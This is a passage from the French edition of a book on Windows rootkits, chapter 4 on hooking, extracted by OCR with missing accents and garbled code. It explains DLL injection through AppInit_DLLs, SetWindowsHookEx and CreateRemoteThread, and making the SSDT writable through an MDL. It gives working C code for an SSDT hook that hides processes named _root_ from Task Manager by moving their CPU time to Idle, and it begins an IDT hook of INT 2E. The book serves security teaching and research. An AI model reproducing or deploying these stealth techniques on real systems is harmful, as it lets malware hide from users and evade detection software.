dorigine. Sur un systme XP SP2 ou plus, le prambule compte exactement cinq
octets, soit juste la place quil faut, ce qui facilite la tche. Microsoft a choisi dessein
un tel format pour permettre le hot patching, ou modification chaud (linsertion de
nouveau code sans avoir redmarrer la machine). Mme Microsoft sait quel point
un hook en ligne est commode lorsque tous les octets sont bien aligns.

Chapitre 4

L'art du hooking 93

Lautre raison pour laquelle ce sont habituellement les premiers octets de la fonction
cible que lon remplace est que plus le hook est plac loin dans la fonction, plus le
retour dans le code est dlicat. Lemplacement hook peut tre appel de nombreuses
fois par la fonction cible, ce qui peut causer des rsultats indsirables. Pour simplifier
les choses, le rootkit devrait hooker lunique point dentre de la fonction et modifier
les rsultats quelle retourne aprs sa sortie.
Le rootkit enregistre les premiers octets de la fonction dorigine dans ce que lon
appelle un trampoline. Le saut qui est introduit la place se nomme un dtour. Le
dtour appelle le trampoline, qui se dbranche vers la fonction cible plus cinq octets
environ. Lorsque celle-ci rend le contrle au dtour, le rootkit peut modifier les
rsultats quelle retourne. La Figure 4.3 illustre ce processus. La fonction source
correspond au code qui invoque originellement la fonction cible.

Figure 4.3

Ordonnancement temporel d'une fonction


dtourne.

Vous en apprendrez davantage sur limplmentation dun hook de fonction en ligne au


Chapitre 5. Nous vous encourageons galement lire le document de rfrence sur le
patching de fonctions en ligne de Microsoft Research1.

Injection d'une DLL dans des processus en mode utilisateur


Les trois prochaines sections exposent des techniques permettant de placer le code
dun rootkit dans lespace dadressage dun autre processus. Ces mthodes ont t
initialement documentes par Jeffrey Richter1 2. Une fois la DLL charge dans le
processus cible, elle peut modifier le chemin dexcution dAPI couramment utilises.

1. G. Hunt et D. Brubacker, "Dtours: Binary Interception of Win32 Functions", Proceedings ofthe Third
USENIX Windows NT Symposium, juillet 1999, pp. 135-43.
2. J. Richter, "Load Your 32-bit DLL into Another Processs Address Space Using INJLIB", Microsoft Systems
Joumal/9 No. 5 (mai 1994).

94 Rootkits

Infiltrations du noyau Windows

Injecter une DLL en utilisant le Registre

Dans Windows NT/2000/XP/2003, il existe une cl de registre appele


HKEY_LOCAL_MACHINE\Software\Microsoft\Windows

NT\CurrentVer-

sion

\Windows

Un rootkit peut dfinir comme valeur de cette cl une de ses propres


DLL, qui modifie lIAT du processus cible ou modifie directement Kernel32.dll ou
Ntdll.dll. Lorsquune application qui utilise User32.dll est charge, la DLL liste en
tant que valeur de cette cl est galement charge par User32.dll dans lespace
dadressage de lapplication.
\AppInit_DLLs.

charge les DLL listes dans cette cl avec un appel de la fonction


LoadLibrary. Pour chaque DLL qui est charge, la fonction DllMain correspondante est
invoque avec la raison DLL_PROCESS_ATTACH. Il existe trois autres raisons pour
lesquelles une DLL peut tre charge dans lespace dadressage dun processus, mais
seule celle-ci nous intresse ici. Le rootkit devrait hooker toutes les fonctions quil a
pour cible lorsque sa DLL est charge pour la premire fois par le processus, ce qui est
indiqu par la raison DLL_PROCESS_ATTACH. Etant donn que DllMain est invoque
automatiquement et que la DLL se trouve dans lespace dadressage de toute
application qui utilise User32. dll, soit la plupart des applications ( lexception de
celles de type console), le rootkit pourrait aisment hooker des appels de fonctions
pour dissimuler certaines preuves de sa prsence, tels que fichiers, cls de registre, etc.
User32.dll

Certaines sources indiquent que cette technique prsente un inconvnient, savoir que
lordinateur doit tre redmarr aprs que le rootkit a modifi la cl de registre pour
que la nouvelle valeur prenne effet. Toutefois, ce nest pas entirement correct. Aucun
des processus crs avant la modification de la cl ne sera infect. En revanche, la
DLL du rootkit sera injecte dans tous les processus crs aprs, sans mme que la
machine ne soit rinitialise.
Injecter une DLL en utilisant des hooks Windows

Les applications reoivent des messages pour de nombreux vnements qui


surviennent sur lordinateur en rapport avec leur excution. Par exemple, une
application peut recevoir un message lorsque lune de ses fentres est active et que la
souris la survole ou quune touche est enfonce, ou lorsquun bouton fait lobjet dun
clic.

Chapitre 4

L'art du hooking 95

Microsoft dfinit une fonction, SetWindowsHookEx, qui permet de hooker des messages
de fentre dun autre processus, ce qui permettrait de charger efficacement une DLL
de rootkit dans lespace dadressage du processus.
Imaginez que vous vouliez injecter une DLL dans un processus nomm B. Un autre
processus, que nous nommerons A ou le chargeur du rootkit (loader), peut invoquer
SetWindowsHookEx. Voici le prototype de cette fonction tel quil est dfini sur
Microsoft MSDN :
HHOOK SetWindowsHookEx( int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadld

);
Cette fonction accepte quatre paramtres. Le premier spcifie le type de message
dvnement qui dclenchera le hook. Par exemple, WH_KEYBOARD installe une
procdure de hooking qui surveille les vnements dentre du clavier. Le deuxime
indique ladresse dans le processus A de la fonction que le systme devrait appeler
lorsquune fentre est sur le point de traiter le message spcifi. Le troisime consiste
en ladresse virtuelle de la DLL qui contient cette fonction. Le dernier correspond au
thread qui doit tre hook. Si sa valeur est 0, le systme hooke tous les threads du
bureau Windows courant.
Supposons que A invoque SetWindowsHookEx (WH_KEYBOARD, myKeyBrdFuncAd,
myDUHandle, 0). Lorsque B est sur le point de recevoir un vnement du clavier, il
charge la DLL du rootkit indique par myDUHandle, qui contient la fonction
myKeyBrdFuncAd. Cette DLL pourrait tre la partie du rootkit qui hooke lIAT dans
lespace dadressage du processus ou implmente un hook de fonction en ligne. Le
code suivant illustre la faon dont la DLL du rootkit devrait tre implmente :
BOOL APIENTRY DllMain(HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)

{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)

{
// N'importe quel code de hook peut tre ajout ici //
maintenant que vous tes dans l'espace d'adressage // du
processus cible.

}
return TRUE;

96 Rootkits

Infiltrations du noyau Windows

_ declspec (dllexport) LRESULT myKeyBrdFuncAd (int code,


WPARAM wParam,
LPARAM lParam)

{
Il Le rootkit devrait appeler le prochain hook Il
immdiatement au-dessous, mais vous ne savez Il jamais de
quel type de hook il s'agit, return
CallNextHookEx(g_hhook, code, wParam, lParam);

Injecter une DLL en utilisant des threads distants

Une autre faon de charger une DLL dans un processus cible consiste crer ce que
lon appelle un thread distant dans le processus. Vous devez pour cela crire un
programme qui crera le thread spcifiant la DLL charger. Cette stratgie se
rapproche de celle dcrite la section prcdente. La fonction CreateRemote- Thread
reoit sept paramtres :
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE IpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadld

Le premier paramtre est un handle sur le processus dans lequel injecter le thread.
Pour obtenir un handle sur le processus cible, le chargeur du rootkit peut invoquer
OpenProcess avec lidentifiant de ce processus, ou PID (Process Identifier). Voici le
prototype de cette fonction :
HANDLE OpenProcess(DWORD dwDesiredAccess,
BOOL blnheritHandle,
DWORD dwProcessId

Le PID du processus cible peut tre obtenu en utilisant lutilitaire Taskmgr.exe de


Windows. Bien entendu, il peut galement tre obtenu par voie de programmation.
Dfinissez les deuxime et septime paramtres avec la valeur
sixime, avec la valeur 0.

NULL

et les troisime et

Restent les quatrime et cinquime paramtres, qui sont essentiels pour lattaque. Le
chargeur du rootkit devrait dfinir le quatrime paramtre avec ladresse de
LoadLibrary dans le processus cible. Vous pouvez employer ladresse qui se trouve
dans le chargeur du rootkit. Etant donn que cette adresse doit exister dans le

Chapitre 4

L'art du hooking 97

processus cible, cela ne fonctionne que si la DLL Kernel32.dll q u i exporte


LoadLibrary - est charge dans ce processus. Pour obtenir ladresse de Load- Library,
le chargeur du rootkit peut invoquer la fonction GetProcAddress de la manire
suivante :
GetProcAddress(GetModuleHandle(TEXT( "Kernel32")), "LoadLibraryA").

Cet appel rcupre ladresse de LoadLibrary dans le processus qui effectue linjection,
en supposant que Kernel32. dll occupe le mme emplacement de base dans le
processus cible (ce qui est gnralement le cas, car le placement en mmoire de la
DLL des adresses de base diffrentes demanderait plus de temps au systme
dexploitation, et Microsoft prfre viter la baisse de performances qui en
dcoulerait). LoadLibrary possdant les mmes format et type de retour que la
fonction THREAD_START_ROUTINE, son adresse peut tre utilise comme quatrime
paramtre pour CreateRemoteThread.
Le cinquime paramtre est ladresse en mmoire de largument qui sera pass
LoadLibrary. Le chargeur du rootkit ne peut pas simplement passer une chane ici, car
elle se rfrerait une adresse dans lespace dadressage du chargeur et cela naurait
par consquent aucun sens pour le processus cible. Microsoft a prvu deux fonctions
qui permettent au chargeur de contourner cet obstacle.
En appelant VirtualAllocEx, le chargeur peut allouer de la mmoire dans le processus
cible :
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect

);
Pour crire le nom de la DLL utiliser lors de lappel de LoadLibrary dans le
processus cible, WriteProcessMemory est invoque avec ladresse retourne par
VirtualAllocEx. Voici le prototype de WriteProcessMemory :
BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesWritten

);

98 Rootkits

Infiltrations du noyau Windows

Dans la prsentation des hooks en mode utilisateur que nous venons de donner, vous
avez dcouvert quil sagit typiquement de hooks de la table IAT ou de hooks de
fonctions en ligne. Vous avez galement pu voir que leur implmentation demande
daccder lespace dadressage du processus cible et quun moyen daccs courant
consiste injecter une DLL ou un thread dans ce processus. A prsent que vous
comprenez ces concepts, nous allons pouvoir aborder les hooks de niveau noyau.

Hooks de niveau noyau


Comme expliqu prcdemment, les hooks en mode utilisateur sont utiles mais sont
aussi relativement aiss dtecter et prvenir. Leur dtection est couverte en dtail
au Chapitre 10. Une alternative plus lgante est dinstaller des hooks dans la mmoire
du noyau. Un rootkit qui emploie de tels hooks est ainsi sur un pied dgalit avec les
logiciels de dtection.
La mmoire du noyau occupe la partie suprieure de la mmoire virtuelle. Dans
larchitecture x86 dIntel, elle dbute habituellement ladresse 0x80000000 et stend
au-del. Si loption de configuration de boot /3GB est utilise - laquelle permet un
processus de disposer de 3 Go de mmoire virtuelle -, la mmoire dbute alors
ladresse 0xC0000000.
De manire gnrale, les processus ne peuvent pas accder la mmoire du noyau.
Une exception cependant est lorsquun processus possde des privilges de debugging
et passe par certaines API de debugging ou lorsquune porte dappel (call gte) a t
installe. Nous ne traiterons pas de ces exceptions ici. Pour en savoir plus sur les
portes dappels, voyez la documentation de larchitecture Intel 1.
Pour notre propos, le rootkit accdera la mmoire du noyau en implmentant un
driver en mode noyau.
Le noyau est lemplacement idal pour installer un hook. De nombreuses raisons
expliquent cela, mais les deux plus importantes dont il faut vous souvenir est que les
hooks en mode noyau sont globaux (relativement parlant) et quils sont plus difficiles
dtecter car, lorsque le rootkit et le logiciel de protection/dtection se

1. IA-32 Intel Architecture Software Developers Manual, Volume 3, Section 4.8.

Chapitre 4

L'art du hooking 99

trouvent tous deux dans lanneau 0, le rootkit opre un niveau qui lui permet
dchapper ce logiciel ou de le dsactiver. Pour en apprendre davantage sur les
anneaux, reportez-vous au Chapitre 3.
Cette section dcrit les trois lments qui sont le plus communment hooks dans le
noyau, mais ne perdez pas de vue que vous pouvez en trouver dautres selon ce que
votre rootkit est cens accomplir.

Hooking de la table de descripteurs de services systme


Le composant Executive de Windows opre en mode noyau et offre un support natif
tous les sous-systmes : Win32, POSIX et OS/2. Les adresses de ces services systme
natifs sont listes dans une structure du noyau appele table de distribution des
services systme, ou SSDT (System Service Dispatch Table) 1. Cette table peut tre
indexe par numro dappel systme pour localiser ladresse en mmoire de la fonction
assurant le service demand. Une autre table, appele table de paramtres des services
systme, ou SS PT (System Service Parameter Table) 1 2, spcifie la longueur en octets
des paramtres de la fonction appele pour chaque service.
est une table exporte par le noyau. Elle contient un pointeur
vers la portion de la SSDT qui inclut les services systme fondamentaux implments
dans Ntoskrnl.exe, lequel est un composant majeur du noyau. Elle contient aussi un
pointeur vers la SSPT. Elle est illustre la Figure 4.4. Les donnes de cette
illustration correspondent une configuration Windows 2000 Advanced Server sans
Service Pack appliqu. La SSDT de cette figure comprend les adresses des fonctions
individuelles exportes par le noyau. Chaque adresse fait quatre octets de long.
KeServiceDescriptorTable

Pour appeler une fonction spcifique, le dispatcheur de services systme, KiSystemService, prend simplement le numro didentification de la fonction et le multiplie
par 4 pour obtenir loffset dans la SSDT. Notez que la table KeServiceDescriptorTable
contient le nombre de services. Cette valeur est utilise pour dterminer loffset
maximal dans la SSDT ou la SSPT. La SSPT est aussi prsente la Figure 4.4.
Chaque lment de cette table possde une taille de un octet et indique sous forme
hexadcimale le nombre doctets que sa fonction correspondante

1. P. Dabak, S. Phadke et M. Borate, Undocumented Windows NT (New York : M&T Books, 1999), pp. 11729.
2. Ibid. pp. 128-9.

100 Rootkits

Infiltrations du noyau Windows

dans la SSDT reoit en paramtres. Dans cet exemple, la fonction ladresse


0x804AB3BF accepte 0x18 octets de paramtres.

KeServiceDescriptorTable

System Service Dispatch Table


804AB3BF
804C11F4

804AE86B
80459214

804BDEF3

8050B034

ServiceCounterTable
00000000
NumberOfServices
F8
i
18 20 2C 2C
___________
W

40 2C ...

Figure 4.4
La table KeServiceDescriptorTable.

Il existe une autre table, appele KeServiceDescriptorTableShadow, qui contient les


adresses des services USER et GDI implments dans le driver de noyau Win32k.sys.
Toutes ces tables sont dcrites dans louvrage Undocumented Windows NT.
Un dispatching de service systme est dclench lorsquune instruction INT 2E ou
SYSENTER est invoque. Il sensuit une transition du processus vers le noyau avec un
appel du dispatcheur de services systme, KiSystemService. Une application peut
lappeler directement ou passer par le sous-systme. Si le sous-systme (par exemple
Win32) est utilis, il effectue un appel dans Ntdll.dll qui provoque le chargement
dans EAX du numro didentification du service systme, comprenant lindex de la
fonction systme demande, et le chargement dans EDX de ladresse des paramtres de
la fonction en mode utilisateur. Le dispatcheur vrifie le nombre de paramtres puis
les copie depuis la pile utilisateur dans la pile du noyau. Il invoque ensuite la fonction
stocke ladresse indexe dans la SSDT au moyen du numro didentification de
service dans EAX. Ce processus est dcrit en dtail la section "Hooking de la table
IDT", plus loin dans ce chapitre.

Chapitre 4

L'art du hooking 101

Une fois que le rootkit est charg en tant que driver, il peut modifier la SSDT pour
pointer vers une fonction quil fournit la place dune fonction de Ntos- krnl.exe ou
Win32k.sys. Lorsquune application extrieure au noyau effectue un appel dans le
noyau, la demande est traite par le dispatcheur et la fonction du rootkit est invoque.
Le rootkit peut ensuite passer lapplication toutes sortes dinformations trompeuses
pour se dissimuler lui-mme et les ressources quil emploie.
Changer les protections mmoire de la SSDT

Comme voqu au Chapitre 3, certaines versions de Windows possdent par dfaut


des portions de leur mmoire protges contre lcriture. Ceci est devenu plus courant
avec les dernires versions, telles que Windows XP et Windows 2003, o la SSDT est
en lecture seule car il est peu probable quun processus lgitime ait besoin de la
modifier.
Cette protection contre lcriture constitue un problme pour un rootkit qui filtre les
rponses retournes par certains appels systme au moyen de hooks, car toute tentative
dcriture dans une portion en lecture seule de la mmoire, comme la SSDT,
provoquera un cran bleu. Au Chapitre 3, vous avez appris comment modifier le
registre CR0 afin de contourner la protection de la mmoire et viter cet cran bleu.
Cette section dcrit une autre mthode permettant de changer la protection mmoire,
qui sappuie sur des processus mieux documents par Microsoft.
Nous pouvons dcrire une zone de mmoire dans une liste de descripteurs de
mmoire, ou MDL (Memory Descriptor List). Une MDL contient ladresse de dbut,
le processus propritaire, le nombre doctets et des flags, ou fanions, pour la zone de
mmoire :
// Rfrences MDL dfinies dans ntddk.h
typedef struct _MDL { struct _MDL *Next;
CSHORT Size;
CSHORT MdlFlags;
struct _EPR0CESS *Process;
PVOID MappedSystemVa;
PVOID StartVa;
ULONG ByteCount;
ULONG ByteOffset ;
} MDL, *PMDL;

Infiltrations du noyau Windows

102 Rootkits

Il Flags de la MDL
#define MDL_MAPPED_TO_SYSTEM_VA
0X0001
0X0002
#define MDL PAGES LOCKED
#define MDL_SOURCE_IS_NONPAGED_POOL 0x0004 #define MDL ALLOCATED FIXED SIZE
0X0008

#define
#define
#define
#define
#define
#define
#define
#define
#define
#define
#define

MDL PARTIAL
0X0010
MDL PARTIAL HAS BEEN MAPPED 0X0020
MDL_IO_PAGE_READ
0X0040
0X0080
MDL WRITE OPERATION
MDL PARENT MAPPED SYSTEM VA 0X0100
MDL_LOCK_HELD
0X0200
MDL_PHYSICAL_VIEW
0X0400
MDL_IO_SPACE
0X0800
MDL_NETWORK_HEADER
0x1000
MDL MAPPING CAN FAIL
0x2000
MDL_ALLOCATED_MUST_SUCCEED 0x4000

Pour modifier ces flags, le code ci-aprs commence par dclarer une structure utilise
pour convertir la variable KeServiceDescriptorTable exporte par le noyau Windows.
Nous avons besoin de la base de la table de KeServiceDescriptorTable et du nombre
dentres quelle comprend pour lappel de MmCreateMdl. Ceci dfinit le dbut et la
taille de la zone de mmoire que nous voulons dcrire. Le rootkit cre ensuite la MDL
partir du pool de mmoire non pagine.
Le rootkit change les flags de la MDL pour pouvoir crire dans la zone en les
combinant par OR au flag MD L_MAP P E D_T 0_S Y ST EM_VA. Ensuite, il verrouille les
pages de la MDL en mmoire en invoquant MmMapLockedPages.
Nous pouvons maintenant commencer hooker la SSDT. Dans lexemple suivant,
MappedSystemCallTable reprsente la mme adresse que la SSDT dorigine, mais vous
pouvez prsent y crire :
// Dclarations #pragma pack(1)
typedef struct ServiceDescriptorEntry {

unsigned int *ServiceTableBase; unsigned


int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} SSDT_Entry; #pragma pack()

Chapitre 4

L'art du hooking 103

_ declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;


PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
Il Enregistre les anciens emplacements des appels systme

Il Mappe la mmoire dans notre zone pour changer les permissions de la MDL
g_pmdlSystemCall = MmCreateMdl(NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// Change les flags de la MDL
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

Hooker la SSDT

Plusieurs macros sont utiles pour hooker la SSDT. La macro SYSTEMSERVICE prend
ladresse dune fonction exporte par Ntoskrnl.exe, une fonction Zw*, et retourne
ladresse de la fonction Nt* correspondante dans la SSDT. Les fonctions Nt* sont des
fonctions prives dont les adresses sont contenues dans la SSDT. Les fonctions Zw *
sont celles exportes par le noyau pour tre utilises par les drivers et dautres
composants du noyau. Notez quil ny a pas de correspondance biunivoque entre les
entres de la SSDT et les fonctions Zw*.
La macro SYSCALL_INDEX prend ladresse dune fonction Zw* et retourne le numro
dindex correspondant dans la SSDT. Cette macro et la macro SYSTEM- SERVICE1
fonctionnent grce lopcode au dbut des fonctions Zw*. Alors que nous rdigeons
ce livre, toutes les fonctions Zw* du noyau dbutent par lopcode mov e a x , ULONG,
o ULONG est le numro dindex de lappel systme dans la SSDT. En considrant le
deuxime octet de la fonction en tant que ULONG, ces macros rcuprent le numro
dindex de la fonction. Les macros H00K_SYSCALL et UNFIOOK_SYSCALL prennent
ladresse de la fonction Zw* qui est hooke, rcuprent
1. P. Dabak, S. Phadke et M. Borate, Undocumented Windows NT (New York : M&T Books, 1999), p. 119.

104 Rootkits

Infiltrations du noyau Windows

son index et remplacent ladresse cet index dans la SSDT par celle de la fonction
J-look1.
#define SYSTEMSERVICE(_func) \
KeServiceDescriptorTable.ServiceTableBase[
* (PULONG) ( (PUCHAR) Junc + 1 ) ]
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _0rig )
\
_0rig = (PVOID) InterlockedExchange( (PLONG) \
&MappedSystemCallTable[SYSCALL_INDEX(Junction)], (LONG) _Hook) #define
UNHOOK_SYSCALL(_Func, _Hook, _0nig ) \
InterlockedExchange((PLONG)
\
&MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)

Ces macros vous aideront crire un rootkit qui hooke la SSDT. Leur emploi est
illustr dans la section suivante. Maintenant que vous en savez un peu plus sur le
fonctionnement dun tel hook, nous allons pouvoir examiner un exemple.
Exemple : dissimuler des processus laide dun hook de la SSDT

Le systme dexploitation Windows utilise la fonction ZwQuerySystemlnformation


pour mettre des demandes de nombreux types dinformations diffrents. Taskmgr.
exe, par exemple, emploie cette fonction pour obtenir une liste des processus qui
sexcutent sur le systme. Le type des informations retournes dpend de la classe
dinformations, ou SystemlnformationClass, demande. Pour rcuprer une liste des
processus, ce paramtre est dfini avec la valeur 5, comme spcifi dans le DDK
(.Driver Development Kit).
Une fois que le rootkit a remplac la fonction NtQuerySystemlnforrnation dans la
SSDT, le hook quil contient peut appeler la fonction dorigine et filtrer les rsultats.
La Figure 4.5 illustre la faon dont les enregistrements de processus sont retourns
dans un tampon par NtQuerySystemlnforrnation.
Les informations contenues dans le tampon incluent des structures _SYSTEM_PROCESSES
et leurs stmctures _SYSTEM_THREADS correspondantes. Un membre important de la
structure _SYSTEM_PROCESSES est UNIC0DEJ5TRING, qui contient le nom du processus. Il
y aussi deux membres LARGE_INTEGER contenant le temps utilisateur et le temps noyau
utiliss par le processus. Pour dissimuler un processus, le rootkit devrait additionner la
dure dexcution du processus un autre processus de la liste, de sorte que le cumul
de tous les temps enregistrs soit gal 100 % du temps processeur.

I. Les macros H00K_SYSCALL, UNH00K_SYSCALL et SYSCALL_INDEX proviennent du code source de l'utilitaire


Regmon, qui tait disponible en tlchargement sur le site Sysintemals.com mais qui ne lest plus prsent.

Chapitre 4

L'art du hooking 105

enregistrement
de processus
distance jusqu'
l'enregistrement
suivant

Figure 4.5
Structure du tampon SystemlnformationClass.

Le code suivant illustre le format de ces structures dans le tampon retourn par
ZwQuerySystemlnformation :
struct

SYSTEM_THREADS

{
LARGE_INTEGER
LARGE_INTEGER
LARGE_INTEGER
ULONG
PVOID
CLIENT_ID
KPRIORITY
KPRIORITY
ULONG

KernelTime;
UserTime;
CreateTime;
WaitTime;
StantAddress;
Clientls;
Priority;
BasePriority;
ContextSwitchCount

ULONG
KWAIT_REASON

ThreadState;
WaitReason;

106 Rootkits

Infiltrations du noyau Windows

Struct _SYSTEM_PROCESSES

{
ULONG
ULONG
ULONG
LARGE_INTEGER
LARGE_INTEGER
LARGE_INTEGER
UNICODE_STRING
KPRIORITY
ULONG
ULONG
ULONG
ULONG
VM_COUNTERS
IO_COUNTERS
Struct SYSTEM THREADS

NextEntryDelta;
ThreadCount;
Reserved[6];
CreateTime;
UserTime;
KernelTime;
ProcessName;
BasePriority;
Processld;
InheritedFromProcessId;
HandleCount;
Reserved2[2];
VmCounters;
IoCounters; // Windows
Threads[1];

2000

uniquement

La fonction NewZwQuerySystemlnf ormation suivante filtre tous les processus dont le


nom commence par _root_. Elle additionne galement au processus Idle la dure
dexcution de ces processus cachs :
///////////////////////////////////////////////////////////
/ / / / / / / / / / / / / / Fonction NewZwQuerySystemlnformation //
// ZwQuerySystemlnformation retourne une liste chane // de processus.
// La fonction ci-aprs l'imite, sauf qu'elle supprime de la // liste les
processus dont le nom commence par _root_.
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemlnformationClass,
IN PVOID Systemlnformation,
IN ULONG SystemlnformationLength,
OUT PULONG ReturnLength)

{
NTSTATUS ntStatus; ntStatus =
((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemlnformation))

(SystemlnformationClass,
Systemlnformation,
SystemlnformationLength,
ReturnLength);
if( NT_SUCCESS(ntStatus))

{
// Demande une liste de fichiers et de rpertoires
if(SystemlnformationClass == 5)

Chapitre 4

L'art du hooking 107

Il Ceci est une requte pour la liste de processus.


Il Recherche les noms de processus qui dbutent par
Il _root_ et les limine de la liste,
struct _SYSTEM_PROCESSES *curr =
(struct _SYSTEM_PROCESSES *) Systemlnformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)

{
//DbgPrint("Current item is %x\n", curr);
if (curr->ProcessName.Buffer != NULL)

{
if(0 == memcmp(curr->ProcessName.Butter, L"_root_", 12))

{
m_UserTime.QuadPart += curr->Userime.QuadPart;
m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
if(prev) // Entre au milieu ou en dernire place
{
if(curr->NextEntryDelta)
prev->NextEntryDelta +=
eurr->NextEntryDelta;
else // Dernire place, prev devient la fin
prev->NextEntryDelta = 0;

}
else

{
if(curr->NextEntryDelta)

{
// Entre en dbut de liste,
// on l'avance.
(char*)SystemInformation +=
curr->NextEntryDelta;

else // C'est le seul processus !


Systemlnformation = NULL;

else // Ceci est l'entre pour le processus Idle

{
// Ajoute au processus Idle les temps noyau
// et utilisateur des processus _root_*.
curr->UserTime.QuadPart += m_UserTime.QuadPart;
curr->KernelTime.QuadPart += m_Kernelime.QuadPart;
// Rinitialise les timers pour le prochain filtrage
m_Userime.QuadPart = m_KernelTime.QuadPart = 0;

>
}

prev = curr;
if(curr->NextEntryDelta)((char*)curr+=
curr->NextEntryDelta) ;
else curr = NULL;

Infiltrations du noyau Windows

108 Rootkits

else if (SystemlnformationClass == 8)

Il Interrogation de SystemProcessorTimes

struct _SYSTEM_PROCESSOR_TIMES * times =


(struct _SYSTEM_PROCESSOR_TIMES *)Systemlnformation;
times->IdleTime.QuadPart += m_UserTime.QuadPart +
m_Kernelime.QuadPart;

}
}
return ntStatus;

Rootkit.com
Vous pouvez tlcharger le code pour hooker la SSDT et dissimuler
des processus l'adresse
www.rootkit.com/vault/fuzen_op/HideProcessHookMDL.zip.

Avec le hook prcdent en place, le rootkit dissimulera tous les processus dont le nom
dbute par _root_. Ceci nest quun exemple et vous pouvez changer les noms des
processus. Il y a galement de nombreuses autres fonctions dans la SSDT que vous
pourriez vouloir hooker.
Nous allons maintenant aborder un autre emplacement du noyau quil est possible de
hooker.

Hooking de la table IDT


Comme son nom lindique, la table de descripteurs dinterruptions, ou IDT (Inter- rupt
Descriptor Table), est utilise pour grer les interruptions, lesquelles peuvent tre
logicielles ou matrielles. Elle spcifie comment traiter les interruptions, comme celles
dclenches lorsquune touche est presse, quune faute de page survient (entre 0x0E
dans lIDT) ou quun processus utilisateur demande lattention de la table SSDT, ce
qui correspond lentre 0x2E dans Windows. Cette section montre comment installer
un hook sur le vecteur 0x2E dans lIDT. Ce hook sera appel avant la fonction du
noyau dans la SSDT.
Deux points importants doivent tre considrs en rapport avec lIDT. Premirement,
chaque processeur possde sa propre IDT, ce qui pose un problme sur les machines
multiprocesseurs. En effet, il ne suffit pas de hooker le processeur sur lequel votre
code sexcute, mais ce sont toutes les IDT du systme qui doivent ltre. Pour savoir
comment procder pour quune fonction de hooking sexcute

Chapitre 4

L'art du hooking 109

sur un processeur spcifique, consultez la section sur les problmes de synchronisation


au Chapitre 7.
Deuximement, le contrle de lexcution nest pas rendu au gestionnaire de lIDT.
Aussi, la technique de hooking typique qui consiste appeler la fonction dorigine,
filtrer les donnes, puis rendre le contrle depuis le hook ne fonctionnera pas. Le
hook de lIDT ntant quune fonction de passage, il ne rcuprera jamais le contrle
et ne peut donc pas filtrer de donnes. Cependant, le rootkit pourrait identifier ou
bloquer les requtes dun programme particulier, tel quun systme de prvention
dintrusion dhte, ou HIPS (Host Intrusion Prvention System), ou un pare-feu
personnel.
Lorsquune application a besoin de lassistance du systme dexploitation, Ntdll. dll
charge dans le registre EAX le numro dindex de lappel systme dans la SSDT et
charge dans le registre EDX un pointeur vers les paramtres de la pile utilisateur. Cette
DLL met ensuite une instruction INT 2E. Cette interruption est le signal de la
transition depuis le mode utilisateur vers le noyau. Sachez que les versions rcentes de
Windows emploient la place de INT 2E linstruction SYSENTER, qui est dcrite plus
loin dans ce chapitre.
Linstruction SI DT est utilise pour trouver en mmoire lIDT de chaque processeur.
Elle retourne ladresse de la structure IDTINFO. Etant donn que lemplacement de
lIDT est rparti en une valeur WORD de poids faible et une de poids fort, il faut
employer la macro MAKELONG pour rcuprer la valeur DWORD correcte avec la valeur
WORD de poids fort en premier :
typedef struct {
WORD IDTLimit;
WORD LowIDTbase;
WORD HilDTbase;
} IDTINFO;
#define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))
16))

Les entres de lIDT consistent chacune en une structure de 64 bits de long, prsente
ci-aprs, et sont elles aussi rparties en deux valeurs WORD. Chaque entre contient
ladresse de la fonction qui grera une interruption particulire. Les membres
LowOffset et HiOffset de la structure IDTENTRY forment ladresse du gestionnaire de
linterruption :
#pragma pack(1) typedef struct

1 1 0 Rootkits

Infiltrations du noyau Windows

{
WORD LowOffset;
WORD selector;
BYTE unused_lo;
unsigned char unused_hi:5; Il TYPE mmoris ?
unsigned char DPL:2;
unsigned char P : 1 ;
Il Le vecteur est prsent
WORD HiOffset ;
} IDTENTRY;
#pragma pack()
fonction Hooklnterrupts suivante dclare un pointeur global

La
de type DWORD qui
stockera le vrai gestionnaire de linterruption INT 2E, KiSystemService. Elle dfinit
galement NT_SYSTEM_SERVICE_INT en tant que 0x2E. Il sagit de lindex qui sera hook
dans lIDT. Le code remplacera la vritable entre dans lIDT par une IDTENTRY
contenant ladresse du hook :
DWORD KiRealSystemServiceISR_Ptr; // Le vritable gestionnaire de INT 2E
#define NT_SYSTEM_SERVICE_INT 0x2e int Hooklnterrupts()

{
IDTINFO idt_info;
IDTENTRY* idt_entries;
IDTENTRY* int2e_entry;
__ asm{
sidt idt_info;

}
idt_entries =
(IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HilDTbase);
KiRealSystemServiceISR_Ptr = // Enregistre la vritable adresse
// du gestionnaire.
